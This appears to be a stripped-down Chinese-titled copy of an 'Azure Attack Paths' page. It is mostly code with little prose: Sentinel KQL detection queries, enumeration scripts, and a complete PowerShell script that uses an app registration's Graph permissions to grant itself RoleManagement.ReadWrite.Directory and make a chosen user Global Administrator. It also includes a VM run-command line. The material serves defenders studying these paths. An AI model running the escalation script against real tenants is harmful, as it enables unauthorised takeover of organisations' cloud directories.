Azure攻击路径

Get-AzManagedServicesDefinitionGet-AzManagedServicesAssignment

AzureActivity| where OperationNameValue =~ "Microsoft.ManagedServices/registrationAssignments/Write"| extend timestamp = TimeGenerated, AccountCustomEntity = Caller, IPCustomEntity = CallerIpAddress

let HomeTenantId = "YOURTENANTID";AzureActivity| extend TenantId = todynamic(Claims).['http://schemas.microsoft.com/identity/claims/tenantid']| where TenantId != HomeTenantId| where isnotempty( TenantId )| sort by TimeGenerated

# Create a self signed certificate$AppDisplayName = "Abuse of API Permissions"$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:CurrentUserMy" -Subject "CN=$($AppDisplayName)" -KeySpec KeyExchange -NotAfter (Get-Date).AddDays(2)Export-Certificate -Cert $cert -FilePath ~DownloadsAppRoleAssignment.cer
# Sign in with the user that has owner permissions and add the exported public certificate as a secret to the app registration
# Modify the following variables to match your environment$ClientId = "GUID"$servicePrincipalId = "GUID"$TenantId = "GUID"$TargetUserUPN = "UPNOfAnyUser" # Will be GA at the end of this script
# Connect as the application using the the certificate as a secret Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId
# Check you permission scopesGet-MgContext
# Add additional permissions to the app$appRoleAssignments = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments"  | Select-Object -ExpandProperty value$params = @{    principalId = $servicePrincipalId    resourceId  = $appRoleAssignments.resourceId    appRoleId   = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory}Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params$params = @{    principalId = $servicePrincipalId    resourceId  = $appRoleAssignments.resourceId    appRoleId   = "df021288-bdef-4463-88db-98f22de89214" # User.Read.All}Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params
# Reconnect to apply the new API permissionsDisconnect-MgGraphConnect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId
# Check the scopes againGet-MgContext
# Get UserId for the user$TargetUser = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/users/$TargetUserUPN"
# Add the user to the global admin role$Reference = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/" + $TargetUser.id }Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Body $Reference -ContentType "application/json"

# Install-Module Microsoft.GraphConnect-MgGraph -Scopes "Application.Read.All" -UseDeviceAuthentication# Get all tenant applications$TenantApplications = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/applications"# Get all service principals$ServicePrincipalIds = ForEach ($appId in ($TenantApplications.value.appId) ) {    Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/?`$filter=(appid eq '$appId')" | Select-Object -ExpandProperty value | Select-Object -ExpandProperty id}# Get all role assignments$appRoleAssignments = foreach ($SPId in $ServicePrincipalIds) {    $SP = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SPId/appRoleAssignments"    if ($SP.value) {        $SP.value | Select-Object -Property principalDisplayName, principalId, resourceDisplayName, resourceId, appRoleId, appRoleDisplayName    }}# Define APIs and attack path discription$DangerousAPIPermissions = @{    "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" = "RoleManagement.ReadWrite.Directory -> directly promote yourself to GA"    "06b708a9-e830-4db3-a914-8e69da51d44f" = "AppRoleAssignment.ReadWrite.All -> grant yourself RoleManagement.ReadWrite.Directory, then promote to GA"    "0a3e4e0d-1c4f-4d10-93f7-3b1f145e76e1" = "Application.ReadWrite.All -> act as another entity e.g. GA"}# List all applications that have any of these permissions granted$appRoleAssignments | Where-Object { $DangerousAPIPermissions.ContainsKey($_.appRoleId) } | Select-Object -Property principalDisplayName, principalId, resourceDisplayName, resourceId, appRoleId, appRoleDisplayName, @{Name="DangerousAPIPermission";Expression={$DangerousAPIPermissions[$_.appRoleId]}}

let DangerousPermissions = dynamic(["AppRoleAssignment.ReadWrite.All","Application.ReadWrite.All","RoleManagement.ReadWrite.Directory"]);AuditLogs| where OperationName == "Add app role assignment to service principal"| where Result =~ "success"| mv-expand TargetResources| mv-expand TargetResources.modifiedProperties| where TargetResources_modifiedProperties.displayName == "AppRole.Value"| extend InitiatingUserOrApp = tostring(InitiatedBy.user.userPrincipalName)| extend InitiatingIpAddress = tostring(InitiatedBy.user.ipAddress)| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")| extend AddedPermission = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')| where AddedPermission in~ ( DangerousPermissions )| mv-expand TargetResources.modifiedProperties| where TargetResources_modifiedProperties.displayName == "ServicePrincipal.ObjectID"| extend ServicePrincipalObjectID = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress

993756fa-a470-4580-af15-544acc2b3888,Cloud Identity Summit Demo RoleManagement.ReadWrite.Directoryf15662f1-641c-4747-b690-a7df80c807da,Cloud Identity Summit Demo AppRoleAssignment.ReadWrite.All

AuditLogs| where OperationName == "Add owner to application"| extend SearchKey = tostring(TargetResources[1].id)| join kind=inner _GetWatchlist('HighRiskApps') on SearchKey| extend TargetUser = tostring(TargetResources[0].userPrincipalName)| extend Actor = tostring(InitiatedBy.user.userPrincipalName)

AuditLogs| where OperationName has_any ("Add service principal", "Certificates and secrets management")| where Result =~ "success"| where tostring(InitiatedBy.user.userPrincipalName) has "@" or tostring(InitiatedBy.app.displayName) has "@"| extend targetDisplayName = tostring(TargetResources[0].displayName)| extend targetId = tostring(TargetResources[0].id)| extend targetType = tostring(TargetResources[0].type)| extend keyEvents = TargetResources[0].modifiedProperties| mv-expand keyEvents| where keyEvents.displayName =~ "KeyDescription"| extend new_value_set = parse_json(tostring(keyEvents.newValue))| extend old_value_set = parse_json(tostring(keyEvents.oldValue))| where old_value_set == "[]"| mv-expand new_value_set| parse new_value_set with * "KeyIdentifier=" keyIdentifier:string ",KeyType=" keyType:string ",KeyUsage=" keyUsage:string ",DisplayName=" keyDisplayName:string "]" *| where keyUsage in ("Verify","")| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")| extend InitiatingUserOrApp = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))| extend InitiatingIpAddress = iff(isnotempty(InitiatedBy.user.ipAddress), tostring(InitiatedBy.user.ipAddress), tostring(InitiatedBy.app.ipAddress))| project-away new_value_set, old_value_set| project-reorder TimeGenerated, OperationName, InitiatingUserOrApp, InitiatingIpAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier, CorrelationId, TenantId| join kind=inner _GetWatchlist('HighRiskApps') on $left.targetId == $right.SearchKey| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress

let HighPrivRoles = dynamic(["Global Administrator","Company Administrator","Privileged Authentication Administrator","Privileged Role Administrator"]);AuditLogs| where OperationName == "Add member to role"| mv-expand TargetResources| mv-expand TargetResources.modifiedProperties| where TargetResources_modifiedProperties.displayName == "Role.DisplayName"| extend AddedToRole = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')| where AddedToRole in~ (HighPrivRoles)| extend Actor = iff(isnotempty(InitiatedBy.user.userPrincipalName),InitiatedBy.user.userPrincipalName,InitiatedBy.app.servicePrincipalId)| extend TargetUsername = TargetResources.userPrincipalName

let HighPrivRoles = dynamic(["Global Administrator", "Company Administrator", "Privileged Authentication Administrator", "Privileged Role Administrator"]);AuditLogs| where OperationName == "Reset user password"| mv-expand TargetResources| extend TargetUsername = tostring(TargetResources.userPrincipalName)| join kind=innerunique (    IdentityInfo     | where TimeGenerated > ago(14d)    )    on $left.TargetUsername == $right.AccountUPN| mv-expand AssignedRoles| extend AssignedRoles = tostring(AssignedRoles)| where AssignedRoles in (HighPrivRoles)| summarize by TimeGenerated, TargetUsername, AssignedRoles, OperationName, AADUserId=AccountObjectId

Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "User Access Administrator" -and $_.Scope -eq "/"}

Invoke-AzVMRunCommand -ResourceGroupName 'RESOURCEGROUP' -Name 'VMNAME' -CommandId 'RunPowerShellScript' -ScriptPath ./runcommand.ps1

AzureActivity | where CategoryValue == "Administrative"| where OperationNameValue =~ "Microsoft.Compute/virtualMachines/runCommand/action"| extend VMName = tostring(todynamic(Properties).resource)| summarize make_list(ActivityStatusValue), TimeGenerated = max(TimeGenerated) by CorrelationId, CallerIpAddress, Caller, ResourceGroup, VMName

$ManagedIdentities = Get-AzADServicePrincipal | ? ServicePrincipalType -eq "ManagedIdentity"foreach ($ManagedIdentity in $ManagedIdentities) {    Get-AzRoleAssignment -ObjectId $ManagedIdentity.Id}

2022-03-21 - 发布初始版本2022-09-16 - 将标题从 Azure Dominance Paths 更新为 Azure Attack Paths2022-09-17 - 在提升 Azure 订阅访问路径中添加了指向统一 M365 门户的链接2022-09-23 - 添加了在 2022 年 Cloud Identiy 峰会上使用的幻灯片、攻击示例和 Sentinel 查询2022-09-23 - 为提升 Azure 订阅访问添加了新检测